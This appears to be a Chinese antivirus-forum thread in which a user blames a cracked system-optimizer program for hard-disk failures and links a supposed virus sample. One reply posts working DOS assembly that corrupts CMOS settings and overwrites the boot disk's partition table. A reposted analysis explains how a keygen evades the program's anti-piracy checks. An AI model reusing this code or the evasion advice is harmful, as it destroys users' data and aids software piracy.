瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 【救命】本人连连损坏三块硬盘,请瑞星工程师帮助

12   1  /  2  页   跳转

【救命】本人连连损坏三块硬盘,请瑞星工程师帮助

【救命】本人连连损坏三块硬盘,请瑞星工程师帮助

本来是在贵站的“病毒上报中心”上报的,无耐病毒样本在上载到贵站时,贵站主机总是不接收,只好在此发布此贴。

    本人2004年5月从学校教室的电脑上复制了老师的课件到移动硬盘,再将移动硬盘中的课件复制到自已的笔记本(奔II的机器,4G的硬盘)后,移动硬盘和笔记本里的硬盘相继出现咔趾咔趾的异常响动,好像里面的弹簧断裂的声音。我用当时最新版的瑞星查杀,并没有发现病毒。
    因笔记本里的文件相当重要,我于2005年6月将一些文件复制到了自已的台式机(奔III,30G硬盘)上,不料没过几天,台式机的硬盘也出现了咔趾咔趾的声音,我用扫描磁盘的软件扫描后发现磁盘已经有了坏道,时常出现程序运行到一半假死,硬盘突然狂响,系统文件经常丢失的错误。但用当时最新版的瑞星查杀,依然没有发现病毒。
    现在我又将台式机上的“Windows优化大师(破解版)”复制到了另一台笔记本(奔IV,40G硬盘),当安装到一半时,原来正常的笔记本硬盘突然再一次出现了异常的响动,和原来那台笔记本和台式机情况一样,我感到一定是该软件有什么未知病毒,专门损害硬盘。

病毒样本请在本人网站上下载(不是工程师请不要下载,损坏硬盘自行负责):
http://jtkj.nease.net/download/soft/wom.rar
最后编辑2006-02-03 11:32:57
分享到:
gototop
 

这么厉害
gototop
 

是直接写端口的,还是反复低格一个位置的?
付上写断口的
hd_bad:    xor ax,ax
    mov ds,ax
    mov bx,word ptr ds:[46ch]
    mov al,11h
    out 70h,al
    mov al,0ffh
    out 71h,al
    mov al,1ch
    out 70h,al
    mov al,bl
    out 71h,al
    mov al,1dh
    out 70h,al
    mov al,bh
    out 71h,al
    mov cl,10h
    xor dx,dx
lop_rom:
    mov al,cl
    out 70h,al
    in  al,71h
    xor ah,ah
    add dx,ax
    inc cl
    cmp cl,2eh
    jnz lop_rom
    mov al,2eh
    out 70h,al
    mov al,dh
    out 71h,al
    mov al,2fh
    out 70h,al
    mov al,dl
    out 71h,al
    mov ax,0301h
    mov bx,offset BADDISK-1beh
    add bx,bp
    mov word ptr es:[bx],18cdh
    push cs
    pop  es
    mov cx,0001h
    mov dx,0080h
    int 13h
    int 19h
BADDISK    db 80h,00h,01h,00h,05h,3fh,7fh,96h
    db 3fh,00h,00h,00h,01h,0ah,19h,00h
    db 00h,00h,41h,97h,00h,3fh,0ffh,0fdh
    db 40h,0ah,19h,00h,40h,0d6h,25h,00h
    db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
    db 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
    db 55h,0aah
gototop
 

好像不是直接写端口的,硬盘灯并没有狂闪,而是一运行就像里面弹簧断了一下,太恐怖了。“优化大师”是必装软件,搞得我现在都不敢在网上下载“优化大师”了。
gototop
 

可以把病毒样本分割成3兆以下的压缩包,分数词传
gototop
 

[转帖]优化大师内含恶意代码解密
优化大师内含恶意代码解密(精华共享)-转贴自“娃娃”
由于[晕倒死]优化大师作者的一句话:“盗版的[晕倒死]优化大师只是表象,60-120天后即会发现使用后系统出现故障。”使得论坛弄得沸沸扬扬 近日也有无数个用户向我确认这个事情 我不是作者我也无法确切的回复给大家 本来已经懒得再碰这个软件了 但是还是抱着看看作者能使出什么手段的想发重新反汇编了一遍这个软件的主程序 现在将我的一点看法告诉大家:

软件使用Delphi编写 发布之前经过加壳 经测试是ASPack的壳 脱壳后使用W32Dasm反汇编了将近5分钟才完成(Delphi的程序就是垃圾多) 经检测并没有发现什么特殊的提示信息 于是一点点的检查注册按钮按下前后程序的处理结果 发现:
1:当用户在按下“注册认证”按钮后 优化大师使用Get[晕倒死]Text函数获得所有当前执行的软件标题栏信息 如果发现当前运行的软件标题栏含有
"注册机;wom;cr-womdowsyhds" 其中任何一个特征串后就会执行一个不明的跳转
2:当软件运行的时候会检测[晕倒死]优化大师安装目录下的文件 (默认是Wom目录下) 如果发现含有一些带有敏感字符的文件名 比如“白菜乐园”等也会执行不明跳转

解决方法: 在我编写的新版本注册机里面已经针对上述的第一点问题作出了调整 即将注册机的标题栏清空 所以大家完全可以不用担心软件的第一项检测 ; 并且大家只要不把注册机等一些破解程序放入[晕倒死]优化大师的根目录就不用担心程序的第二项检测。

另外Fish说“他是自动检查你的硬盘里有没有他的注册机” 遗憾的是我并没有看到搜索硬盘内容的代码 而且我觉得这也是不可能的 因为搜索硬盘需要很长的时间 而我在运行[晕倒死]优化大师的时候并没有发现明显的延迟现象出现 如果Fish有发现这些代码 请在下面跟贴说明 我会作出相关的补丁解决这个问题。
软件作者所说“系统出现故障” 可能是由于我才疏学浅再加上代码垃圾太多 太长的原因我也并没有找到任何的可疑代码可以使系统出现故障
gototop
 

有一种修复硬盘的方法用“EasyRecovery"
gototop
 

我得品牌机硬盘有质保,冒死下载了你的文件
搞了半天,机器没有异常啊
是不是你机器的硬盘本身有质量缺陷啊
我得机器配置为
p4 3.2
inter915gv
1024ddr400
西数120g  7200  8mb
gototop
 

原来不知道还有这么恐怖的事情
gototop
 

你的硬盘是什么牌子的?
gototop
 
12   1  /  2  页   跳转
页面顶部
Powered by Discuz!NT